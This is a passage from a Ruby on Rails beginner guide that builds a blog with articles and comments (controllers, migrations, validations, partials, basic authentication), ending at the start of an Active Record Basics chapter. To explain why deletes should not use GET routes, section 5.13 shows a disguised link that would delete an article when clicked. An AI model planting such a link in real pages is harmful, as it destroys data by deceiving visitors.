5.3 Creating articles

To make the "Unknown action" go away, you can define a create action within the ArticlesController class in app/controllers/articles_controller.rb, underneath the new action, as shown:

class ArticlesController < ApplicationController
def new
end

def create
end
end

If you re-submit the form now, you may not see any change on the page. Don't worry! This is because Rails by default returns 204 No Content response for an action if we don't specify what the response should be. We just added the create action but didn't specify anything about how the response should be. In this case, the create action should save our new article to the database.

When a form is submitted, the fields of the form are sent to Rails as parameters. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the create action to this:

def create
render plain: params[:article].inspect
end

The render method here is taking a very simple hash with a key of :plain and value of params[:article].inspect. The params method is the object which represents the parameters (or fields) coming in from the form. The params method returns an ActionController::Parameters object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.

Ensure you have a firm grasp of the params method, as you'll use it fairly regularly. Let's consider an example URL: http://www.example.com/?username=dhh&email=dhh@email.com. In this URL, params[:username] would equal "dhh" and params[:email] would equal "dhh@email.com".

If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:

<ActionController::Parameters {"title"=>"First Article!", "text"=>"This is my first article."} permitted: false>

This action is now displaying the parameters for the article that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.

5.4 Creating the Article model

Models in Rails use a singular name, and their corresponding database tables use a plural name. Rails provides a generator for creating models, which most Rails developers tend to use when creating new models. To create the new model, run this command in your terminal:

$ bin/rails generate model Article title:string text:text

With that command we told Rails that we want an Article model, together with a title attribute of type string, and a text attribute of type text. Those attributes are automatically added to the articles table in the database and mapped to the Article model.

Rails responded by creating a bunch of files. For now, we're only interested in app/models/article.rb and db/migrate/20140120191729_create_articles.rb (your name could be a bit different). The latter is responsible for creating the database structure, which is what we'll look at next.

Active Record is smart enough to automatically map column names to model attributes, which means you don't have to declare attributes inside Rails models, as that will be done automatically by Active Record.

5.5 Running a Migration

As we've just seen, bin/rails generate model created a database migration file inside the db/migrate directory. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.

If you look in the db/migrate/YYYYMMDDHHMMSS_create_articles.rb file (remember, yours will have a slightly different name), here's what you'll find:

class CreateArticles < ActiveRecord::Migration[5.0]
def change
create_table :articles do |t|
t.string :title
t.text :text

t.timestamps
end
end
end

The above migration creates a method named change which will be called when you run this migration. The action defined in this method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you want to reverse it later. When you run this migration it will create an articles table with one string column and a text column. It also creates two timestamp fields to allow Rails to track article creation and update times.

For more information about migrations, refer to Rails Database Migrations.

At this point, you can use a bin/rails command to run the migration:

$ bin/rails db:migrate

Rails will execute this migration command and tell you it created the Articles table.

==  CreateArticles: migrating ==================================================
-- create_table(:articles)
-> 0.0019s
==  CreateArticles: migrated (0.0020s) =========================================

Because you're working in the development environment by default, this command will apply to the database defined in the development section of your config/database.yml file. If you would like to execute migrations in another environment, for instance in production, you must explicitly pass it when invoking the command: bin/rails db:migrate RAILS_ENV=production.

5.6 Saving data in the controller

Back in ArticlesController, we need to change the create action to use the new Article model to save the data in the database. Open app/controllers/articles_controller.rb and change the create action to look like this:

def create
@article = Article.new(params[:article])

@article.save
redirect_to @article
end

Here's what's going on: every Rails model can be initialized with its respective attributes, which are automatically mapped to the respective database columns. In the first line we do just that (remember that params[:article] contains the attributes we're interested in). Then, @article.save is responsible for saving the model in the database. Finally, we redirect the user to the show action, which we'll define later.

You might be wondering why the A in Article.new is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named Article that is defined in app/models/article.rb. Class names in Ruby must begin with a capital letter.

As we'll see later, @article.save returns a boolean indicating whether the article was saved or not.

If you now go to http://localhost:3000/articles/new you'll almost be able to create an article. Try it! You should get an error that looks like this:

Rails has several security features that help you write secure applications, and you're running into one of them now. This one is called strong parameters, which requires us to tell Rails exactly which parameters are allowed into our controller actions.

Why do you have to bother? The ability to grab and automatically assign all controller parameters to your model in one shot makes the programmer's job easier, but this convenience also allows malicious use. What if a request to the server was crafted to look like a new article form submit but also included extra fields with values that violated your application's integrity? They would be 'mass assigned' into your model and then into the database along with the good stuff - potentially breaking your application or worse.

We have to whitelist our controller parameters to prevent wrongful mass assignment. In this case, we want to both allow and require the title and text parameters for valid use of create. The syntax for this introduces require and permit. The change will involve one line in the create action:

@article = Article.new(params.require(:article).permit(:title, :text))

This is often factored out into its own method so it can be reused by multiple actions in the same controller, for example create and update. Above and beyond mass assignment issues, the method is often made private to make sure it can't be called outside its intended context. Here is the result:

def create
@article = Article.new(article_params)

@article.save
redirect_to @article
end

private
def article_params
params.require(:article).permit(:title, :text)
end

For more information, refer to the reference above and this blog article about Strong Parameters.

5.7 Showing Articles

If you submit the form again now, Rails will complain about not finding the show action. That's not very useful though, so let's add the show action before proceeding.

As we have seen in the output of bin/rails routes, the route for show action is as follows:

article GET    /articles/:id(.:format)      articles#show

The special syntax :id tells rails that this route expects an :id parameter, which in our case will be the id of the article.

As we did before, we need to add the show action in app/controllers/articles_controller.rb and its respective view.

A frequent practice is to place the standard CRUD actions in each controller in the following order: index, show, new, edit, create, update and destroy. You may use any order you choose, but keep in mind that these are public methods; as mentioned earlier in this guide, they must be placed before any private or protected method in the controller in order to work.

Given that, let's add the show action, as follows:

class ArticlesController < ApplicationController
def show
@article = Article.find(params[:id])
end

def new
end

# snippet for brevity

A couple of things to note. We use Article.find to find the article we're interested in, passing in params[:id] to get the :id parameter from the request. We also use an instance variable (prefixed with @) to hold a reference to the article object. We do this because Rails will pass all instance variables to the view.

Now, create a new file app/views/articles/show.html.erb with the following content:

<p>
<strong>Title:</strong>
<%= @article.title %>
</p>

<p>
<strong>Text:</strong>
<%= @article.text %>
</p>

With this change, you should finally be able to create new articles. Visit http://localhost:3000/articles/new and give it a try!

5.8 Listing all articles

We still need a way to list all our articles, so let's do that. The route for this as per output of bin/rails routes is:

articles GET    /articles(.:format)          articles#index

Add the corresponding index action for that route inside the ArticlesController in the app/controllers/articles_controller.rb file. When we write an index action, the usual practice is to place it as the first method in the controller. Let's do it:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end

def show
@article = Article.find(params[:id])
end

def new
end

# snippet for brevity

And then finally, add the view for this action, located at app/views/articles/index.html.erb:

<h1>Listing articles</h1>

<table>
<tr>
<th>Title</th>
<th>Text</th>
</tr>

<% @articles.each do |article| %>
<tr>
<td><%= article.title %></td>
<td><%= article.text %></td>
<td><%= link_to 'Show', article_path(article) %></td>
</tr>
<% end %>
</table>

Now if you go to http://localhost:3000/articles you will see a list of all the articles that you have created.

5.9 Adding links

You can now create, show, and list articles. Now let's add some links to navigate through pages.

Open app/views/welcome/index.html.erb and modify it as follows:

<h1>Hello, Rails!</h1>
<%= link_to 'My Blog', controller: 'articles' %>

The link_to method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for articles.

Let's add links to the other views as well, starting with adding this "New Article" link to app/views/articles/index.html.erb, placing it above the <table> tag:

<%= link_to 'New article', new_article_path %>

This link will allow you to bring up the form that lets you create a new article.

Now, add another link in app/views/articles/new.html.erb, underneath the form, to go back to the index action:

<%= form_for :article, url: articles_path do |f| %>
...
<% end %>

<%= link_to 'Back', articles_path %>

Finally, add a link to the app/views/articles/show.html.erb template to go back to the index action as well, so that people who are viewing a single article can go back and view the whole list again:

<p>
<strong>Title:</strong>
<%= @article.title %>
</p>

<p>
<strong>Text:</strong>
<%= @article.text %>
</p>

<%= link_to 'Back', articles_path %>

If you want to link to an action in the same controller, you don't need to specify the :controller option, as Rails will use the current controller by default.

In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server when a change is made.

5.10 Adding Some Validation

The model file, app/models/article.rb is about as simple as it can get:

class Article < ApplicationRecord
end

There isn't much to this file - but note that the Article class inherits from ApplicationRecord. ApplicationRecord inherits from ActiveRecord::Base which supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.

Rails includes methods to help you validate the data that you send to models. Open the app/models/article.rb file and edit it:

class Article < ApplicationRecord
validates :title, presence: true,
length: { minimum: 5 }
end

These changes will ensure that all articles have a title that is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. Validations are covered in detail in Active Record Validations.

With the validation now in place, when you call @article.save on an invalid article, it will return false. If you open app/controllers/articles_controller.rb again, you'll notice that we don't check the result of calling @article.save inside the create action. If @article.save fails in this situation, we need to show the form back to the user. To do this, change the new and create actions inside app/controllers/articles_controller.rb to these:

def new
@article = Article.new
end

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render 'new'
end
end

private
def article_params
params.require(:article).permit(:title, :text)
end

The new action is now creating a new instance variable called @article, and you'll see why that is in just a few moments.

Notice that inside the create action we use render instead of redirect_to when save returns false. The render method is used so that the @article object is passed back to the new template when it is rendered. This rendering is done within the same request as the form submission, whereas the redirect_to will tell the browser to issue another request.

If you reload http://localhost:3000/articles/new and try to save an article without a title, Rails will send you back to the form, but that's not very useful. You need to tell the user that something went wrong. To do that, you'll modify app/views/articles/new.html.erb to check for error messages:

<%= form_for :article, url: articles_path do |f| %>

<% if @article.errors.any? %>
<div id="error_explanation">
<h2>
<%= pluralize(@article.errors.count, "error") %> prohibited
this article from being saved:
</h2>
<ul>
<% @article.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
<% end %>
</ul>
</div>
<% end %>

<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>

<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>

<p>
<%= f.submit %>
</p>

<% end %>

<%= link_to 'Back', articles_path %>

A few things are going on. We check if there are any errors with @article.errors.any?, and in that case we show a list of all errors with @article.errors.full_messages.

pluralize is a rails helper that takes a number and a string as its arguments. If the number is greater than one, the string will be automatically pluralized.

The reason why we added @article = Article.new in the ArticlesController is that otherwise @article would be nil in our view, and calling @article.errors.any? would throw an error.

Rails automatically wraps fields that contain an error with a div with class field_with_errors. You can define a css rule to make them standout.

Now you'll get a nice error message when saving an article without title when you attempt to do just that on the new article form http://localhost:3000/articles/new:

5.11 Updating Articles

We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating articles.

The first step we'll take is adding an edit action to the ArticlesController, generally between the new and create actions, as shown:

def new
@article = Article.new
end

def edit
@article = Article.find(params[:id])
end

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render 'new'
end
end

The view will contain a form similar to the one we used when creating new articles. Create a file called app/views/articles/edit.html.erb and make it look as follows:

<h1>Editing article</h1>

<%= form_for :article, url: article_path(@article), method: :patch do |f| %>

<% if @article.errors.any? %>
<div id="error_explanation">
<h2>
<%= pluralize(@article.errors.count, "error") %> prohibited
this article from being saved:
</h2>
<ul>
<% @article.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
<% end %>
</ul>
</div>
<% end %>

<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>

<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>

<p>
<%= f.submit %>
</p>

<% end %>

<%= link_to 'Back', articles_path %>

This time we point the form to the update action, which is not defined yet but will be very soon.

The method: :patch option tells Rails that we want this form to be submitted via the PATCH HTTP method which is the HTTP method you're expected to use to update resources according to the REST protocol.

The first parameter of form_for can be an object, say, @article which would cause the helper to fill in the form with the fields of the object. Passing in a symbol (:article) with the same name as the instance variable (@article) also automagically leads to the same behavior. This is what is happening here. More details can be found in form_for documentation.

Next, we need to create the update action in app/controllers/articles_controller.rb. Add it between the create action and the private method:

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render 'new'
end
end

def update
@article = Article.find(params[:id])

if @article.update(article_params)
redirect_to @article
else
render 'edit'
end
end

private
def article_params
params.require(:article).permit(:title, :text)
end

The new method, update, is used when you want to update a record that already exists, and it accepts a hash containing the attributes that you want to update. As before, if there was an error updating the article we want to show the form back to the user.

We reuse the article_params method that we defined earlier for the create action.

It is not necessary to pass all the attributes to update. For example, if @article.update(title: 'A new title') was called, Rails would only update the title attribute, leaving all other attributes untouched.

Finally, we want to show a link to the edit action in the list of all the articles, so let's add that now to app/views/articles/index.html.erb to make it appear next to the "Show" link:

<table>
<tr>
<th>Title</th>
<th>Text</th>
<th colspan="2"></th>
</tr>

<% @articles.each do |article| %>
<tr>
<td><%= article.title %></td>
<td><%= article.text %></td>
<td><%= link_to 'Show', article_path(article) %></td>
<td><%= link_to 'Edit', edit_article_path(article) %></td>
</tr>
<% end %>
</table>

And we'll also add one to the app/views/articles/show.html.erb template as well, so that there's also an "Edit" link on an article's page. Add this at the bottom of the template:

...

<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

And here's how our app looks so far:

5.12 Using partials to clean up duplication in views

Our edit page looks very similar to the new page; in fact, they both share the same code for displaying the form. Let's remove this duplication by using a view partial. By convention, partial files are prefixed with an underscore.

You can read more about partials in the Layouts and Rendering in Rails guide.

Create a new file app/views/articles/_form.html.erb with the following content:

<%= form_for @article do |f| %>

<% if @article.errors.any? %>
<div id="error_explanation">
<h2>
<%= pluralize(@article.errors.count, "error") %> prohibited
this article from being saved:
</h2>
<ul>
<% @article.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
<% end %>
</ul>
</div>
<% end %>

<p>
<%= f.label :title %><br>
<%= f.text_field :title %>
</p>

<p>
<%= f.label :text %><br>
<%= f.text_area :text %>
</p>

<p>
<%= f.submit %>
</p>

<% end %>

Everything except for the form_for declaration remained the same. The reason we can use this shorter, simpler form_for declaration to stand in for either of the other forms is that @article is a resource corresponding to a full set of RESTful routes, and Rails is able to infer which URI and method to use. For more information about this use of form_for, see Resource-oriented style.

Now, let's update the app/views/articles/new.html.erb view to use this new partial, rewriting it completely:

<h1>New article</h1>

<%= render 'form' %>

<%= link_to 'Back', articles_path %>

Then do the same for the app/views/articles/edit.html.erb view:

<h1>Edit article</h1>

<%= render 'form' %>

<%= link_to 'Back', articles_path %>

5.13 Deleting Articles

We're now ready to cover the "D" part of CRUD, deleting articles from the database. Following the REST convention, the route for deleting articles as per output of bin/rails routes is:

DELETE /articles/:id(.:format)      articles#destroy

The delete routing method should be used for routes that destroy resources. If this was left as a typical get route, it could be possible for people to craft malicious URLs like this:

<a href='http://example.com/articles/1/destroy'>look at this cat!</a>

We use the delete method for destroying resources, and this route is mapped to the destroy action inside app/controllers/articles_controller.rb, which doesn't exist yet. The destroy method is generally the last CRUD action in the controller, and like the other public CRUD actions, it must be placed before any private or protected methods. Let's add it:

def destroy
@article = Article.find(params[:id])
@article.destroy

redirect_to articles_path
end

The complete ArticlesController in the app/controllers/articles_controller.rb file should now look like this:

class ArticlesController < ApplicationController
def index
@articles = Article.all
end

def show
@article = Article.find(params[:id])
end

def new
@article = Article.new
end

def edit
@article = Article.find(params[:id])
end

def create
@article = Article.new(article_params)

if @article.save
redirect_to @article
else
render 'new'
end
end

def update
@article = Article.find(params[:id])

if @article.update(article_params)
redirect_to @article
else
render 'edit'
end
end

def destroy
@article = Article.find(params[:id])
@article.destroy

redirect_to articles_path
end

private
def article_params
params.require(:article).permit(:title, :text)
end
end

You can call destroy on Active Record objects when you want to delete them from the database. Note that we don't need to add a view for this action since we're redirecting to the index action.

Finally, add a 'Destroy' link to your index action template (app/views/articles/index.html.erb) to wrap everything together.

<h1>Listing Articles</h1>
<%= link_to 'New article', new_article_path %>
<table>
<tr>
<th>Title</th>
<th>Text</th>
<th colspan="3"></th>
</tr>

<% @articles.each do |article| %>
<tr>
<td><%= article.title %></td>
<td><%= article.text %></td>
<td><%= link_to 'Show', article_path(article) %></td>
<td><%= link_to 'Edit', edit_article_path(article) %></td>
<td><%= link_to 'Destroy', article_path(article),
method: :delete,
data: { confirm: 'Are you sure?' } %></td>
</tr>
<% end %>
</table>

Here we're using link_to in a different way. We pass the named route as the second argument, and then the options as another argument. The method: :delete and data: { confirm: 'Are you sure?' } options are used as HTML5 attributes so that when the link is clicked, Rails will first show a confirm dialog to the user, and then submit the link with method delete. This is done via the JavaScript file jquery_ujs which is automatically included in your application's layout (app/views/layouts/application.html.erb) when you generated the application. Without this file, the confirmation dialog box won't appear.

Learn more about jQuery Unobtrusive Adapter (jQuery UJS) on Working With JavaScript in Rails guide.

Congratulations, you can now create, show, list, update and destroy articles.

In general, Rails encourages using resources objects instead of declaring routes manually. For more information about routing, see Rails Routing from the Outside In.

6 Adding a Second Model

It's time to add a second model to the application. The second model will handle comments on articles.

6.1 Generating a Model

We're going to see the same generator that we used before when creating the Article model. This time we'll create a Comment model to hold reference to an article. Run this command in your terminal:

$ bin/rails generate model Comment commenter:string body:text article:references

This command will generate four files:

File

Purpose

db/migrate/20140120201010_create_comments.rb

Migration to create the comments table in your database (your name will include a different timestamp)

app/models/comment.rb

The Comment model

test/models/comment_test.rb

Testing harness for the comment model

test/fixtures/comments.yml

Sample comments for use in testing

First, take a look at app/models/comment.rb:

class Comment < ApplicationRecord
belongs_to :article
end

This is very similar to the Article model that you saw earlier. The difference is the line belongs_to :article, which sets up an Active Record association. You'll learn a little about associations in the next section of this guide.

The (:references) keyword used in the bash command is a special data type for models. It creates a new column on your database table with the provided model name appended with an _id that can hold integer values. You can get a better understanding after analyzing the db/schema.rb file below.

In addition to the model, Rails has also made a migration to create the corresponding database table:

class CreateComments < ActiveRecord::Migration[5.0]
def change
create_table :comments do |t|
t.string :commenter
t.text :body
t.references :article, foreign_key: true

t.timestamps
end
end
end

The t.references line creates an integer column called article_id, an index for it, and a foreign key constraint that points to the id column of the articles table. Go ahead and run the migration:

$ bin/rails db:migrate

Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see:

==  CreateComments: migrating =================================================
-- create_table(:comments)
-> 0.0115s
==  CreateComments: migrated (0.0119s) ========================================

6.2 Associating Models

Active Record associations let you easily declare the relationship between two models. In the case of comments and articles, you could write out the relationships this way:

- Each comment belongs to one article.

- One article can have many comments.

In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model (app/models/comment.rb) that makes each comment belong to an Article:

class Comment < ApplicationRecord
belongs_to :article
end

You'll need to edit app/models/article.rb to add the other side of the association:

class Article < ApplicationRecord
has_many :comments
validates :title, presence: true,
length: { minimum: 5 }
end

These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable @article containing an article, you can retrieve all the comments belonging to that article as an array using @article.comments.

For more information on Active Record associations, see the Active Record Associations guide.

6.3 Adding a Route for Comments

As with the welcome controller, we will need to add a route so that Rails knows where we would like to navigate to see comments. Open up the config/routes.rb file again, and edit it as follows:

resources :articles do
resources :comments
end

This creates comments as a nested resource within articles. This is another part of capturing the hierarchical relationship that exists between articles and comments.

For more information on routing, see the Rails Routing guide.

6.4 Generating a Controller

With the model in hand, you can turn your attention to creating a matching controller. Again, we'll use the same generator we used before:

$ bin/rails generate controller Comments

This creates five files and one empty directory:

File/Directory

Purpose

app/controllers/comments_controller.rb

The Comments controller

app/views/comments/

Views of the controller are stored here

test/controllers/comments_controller_test.rb

The test for the controller

app/helpers/comments_helper.rb

A view helper file

app/assets/javascripts/comment.coffee

CoffeeScript for the controller

app/assets/stylesheets/comment.scss

Cascading style sheet for the controller

Like with any blog, our readers will create their comments directly after reading the article, and once they have added their comment, will be sent back to the article show page to see their comment now listed. Due to this, our CommentsController is there to provide a method to create comments and delete spam comments when they arrive.

So first, we'll wire up the Article show template (app/views/articles/show.html.erb) to let us make a new comment:

<p>
<strong>Title:</strong>
<%= @article.title %>
</p>

<p>
<strong>Text:</strong>
<%= @article.text %>
</p>

<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

This adds a form on the Article show page that creates a new comment by calling the CommentsController create action. The form_for call here uses an array, which will build a nested route, such as /articles/1/comments.

Let's wire up the create in app/controllers/comments_controller.rb:

class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end

private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end

You'll see a bit more complexity here than you did in the controller for articles. That's a side-effect of the nesting that you've set up. Each request for a comment has to keep track of the article to which the comment is attached, thus the initial call to the find method of the Article model to get the article in question.

In addition, the code takes advantage of some of the methods available for an association. We use the create method on @article.comments to create and save the comment. This will automatically link the comment so that it belongs to that particular article.

Once we have made the new comment, we send the user back to the original article using the article_path(@article) helper. As we have already seen, this calls the show action of the ArticlesController which in turn renders the show.html.erb template. This is where we want the comment to show, so let's add that to the app/views/articles/show.html.erb.

<p>
<strong>Title:</strong>
<%= @article.title %>
</p>

<p>
<strong>Text:</strong>
<%= @article.text %>
</p>

<h2>Comments</h2>
<% @article.comments.each do |comment| %>
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>

<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>
<% end %>

<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

Now you can add articles and comments to your blog and have them show up in the right places.

7 Refactoring

Now that we have articles and comments working, take a look at the app/views/articles/show.html.erb template. It is getting long and awkward. We can use partials to clean it up.

7.1 Rendering Partial Collections

First, we will make a comment partial to extract showing all the comments for the article. Create the file app/views/comments/_comment.html.erb and put the following into it:

<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>

<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>

Then you can change app/views/articles/show.html.erb to look like the following:

<p>
<strong>Title:</strong>
<%= @article.title %>
</p>

<p>
<strong>Text:</strong>
<%= @article.text %>
</p>

<h2>Comments</h2>
<%= render @article.comments %>

<h2>Add a comment:</h2>
<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

This will now render the partial in app/views/comments/_comment.html.erb once for each comment that is in the @article.comments collection. As the render method iterates over the @article.comments collection, it assigns each comment to a local variable named the same as the partial, in this case comment which is then available in the partial for us to show.

7.2 Rendering a Partial Form

Let us also move that new comment section out to its own partial. Again, you create a file app/views/comments/_form.html.erb containing:

<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
<%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
<%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>

Then you make the app/views/articles/show.html.erb look like the following:

<p>
<strong>Title:</strong>
<%= @article.title %>
</p>

<p>
<strong>Text:</strong>
<%= @article.text %>
</p>

<h2>Comments</h2>
<%= render @article.comments %>

<h2>Add a comment:</h2>
<%= render 'comments/form' %>

<%= link_to 'Edit', edit_article_path(@article) %> |
<%= link_to 'Back', articles_path %>

The second render just defines the partial template we want to render, comments/form. Rails is smart enough to spot the forward slash in that string and realize that you want to render the _form.html.erb file in the app/views/comments directory.

The @article object is available to any partials rendered in the view because we defined it as an instance variable.

8 Deleting Comments

Another important feature of a blog is being able to delete spam comments. To do this, we need to implement a link of some sort in the view and a destroy action in the CommentsController.

So first, let's add the delete link in the app/views/comments/_comment.html.erb partial:

<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
</p>

<p>
<strong>Comment:</strong>
<%= comment.body %>
</p>

<p>
<%= link_to 'Destroy Comment', [comment.article, comment],
method: :delete,
data: { confirm: 'Are you sure?' } %>
</p>

Clicking this new "Destroy Comment" link will fire off a DELETE /articles/:article_id/comments/:id to our CommentsController, which can then use this to find the comment we want to delete, so let's add a destroy action to our controller (app/controllers/comments_controller.rb):

class CommentsController < ApplicationController
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
redirect_to article_path(@article)
end

def destroy
@article = Article.find(params[:article_id])
@comment = @article.comments.find(params[:id])
@comment.destroy
redirect_to article_path(@article)
end

private
def comment_params
params.require(:comment).permit(:commenter, :body)
end
end

The destroy action will find the article we are looking at, locate the comment within the @article.comments collection, and then remove it from the database and send us back to the show action for the article.

8.1 Deleting Associated Objects

If you delete an article, its associated comments will also need to be deleted, otherwise they would simply occupy space in the database. Rails allows you to use the dependent option of an association to achieve this. Modify the Article model, app/models/article.rb, as follows:

class Article < ApplicationRecord
has_many :comments, dependent: :destroy
validates :title, presence: true,
length: { minimum: 5 }
end

9 Security

9.1 Basic Authentication

If you were to publish your blog online, anyone would be able to add, edit and delete articles or delete comments.

Rails provides a very simple HTTP authentication system that will work nicely in this situation.

In the ArticlesController we need to have a way to block access to the various actions if the person is not authenticated. Here we can use the Rails http_basic_authenticate_with method, which allows access to the requested action if that method allows it.

To use the authentication system, we specify it at the top of our ArticlesController in app/controllers/articles_controller.rb. In our case, we want the user to be authenticated on every action except index and show, so we write that:

class ArticlesController < ApplicationController

http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]

def index
@articles = Article.all
end

# snippet for brevity

We also want to allow only authenticated users to delete comments, so in the CommentsController (app/controllers/comments_controller.rb) we write:

class CommentsController < ApplicationController

http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy

def create
@article = Article.find(params[:article_id])
# ...
end

# snippet for brevity

Now if you try to create a new article, you will be greeted with a basic HTTP Authentication challenge:

Other authentication methods are available for Rails applications. Two popular authentication add-ons for Rails are the Devise rails engine and the Authlogic gem, along with a number of others.

9.2 Other Security Considerations

Security, especially in web applications, is a broad and detailed area. Security in your Rails application is covered in more depth in the Ruby on Rails Security Guide.

10 What's Next?

Now that you've seen your first Rails application, you should feel free to update it and experiment on your own.

Remember you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:

- The Ruby on Rails Guides

- The Ruby on Rails Tutorial

- The Ruby on Rails mailing list

- The #rubyonrails channel on irc.freenode.net

11 Configuration Gotchas

The easiest way to work with Rails is to store all external data as UTF-8. If you don't, Ruby libraries and Rails will often be able to convert your native data into UTF-8, but this doesn't always work reliably, so you're better off ensuring that all external data is UTF-8.

If you have made a mistake in this area, the most common symptom is a black diamond with a question mark inside appearing in the browser. Another common symptom is characters like "Ã¼" appearing instead of "ü". Rails takes a number of internal steps to mitigate common causes of these problems that can be automatically detected and corrected. However, if you have external data that is not stored as UTF-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected.

Two very common sources of data that are not UTF-8:

- Your text editor: Most text editors (such as TextMate), default to saving files as UTF-8. If your text editor does not, this can result in special characters that you enter in your templates (such as é) to appear as a diamond with a question mark inside in the browser. This also applies to your i18n translation files. Most editors that do not already default to UTF-8 (such as some versions of Dreamweaver) offer a way to change the default to UTF-8. Do so.

- Your database: Rails defaults to converting data from your database into UTF-8 at the boundary. However, if your database is not using UTF-8 internally, it may not be able to store all characters that your users enter. For instance, if your database is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database.

Active Record Basics — Ruby on Rails...

1 What is Active Record?

Active Record is the M in MVC - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.

1.1 The Active Record Pattern

Active Record was described by Martin Fowler in his book Patterns of Enterprise Application Architecture. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic as part of the object will educate users of that object on how to write to and read from the database.

1.2 Object Relational Mapping

Object Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.

1.3 Active Record as an ORM Framework

Active Record gives us several mechanisms, the most important being the ability to:

- Represent models and their data.

- Represent associations between these models.

- Represent inheritance hierarchies through related models.

- Validate models before they get persisted to the database.

- Perform database operations in an object-oriented fashion.

2 Convention over Configuration in Active Record

When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some cases no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the time then this should be the default way. Thus, explicit configuration would be needed only in those cases where you can't follow the standard convention.

2.1 Naming Conventions

By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class Book, you should have a database table called books. The Rails pluralization mechanisms are very powerful, being capable of pluralizing (and singularizing) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:

- Database Table - Plural with underscores separating words (e.g., book_clubs).

- Model Class - Singular with the first letter of each word capitalized (e.g., BookClub).

Model / Class

Table / Schema

Article

articles

LineItem

line_items

Deer

deers

Mouse

mice

Person

people

2.2 Schema Conventions

Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.

- Foreign keys - These fields should be named following the pattern singularized_table_name_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models.

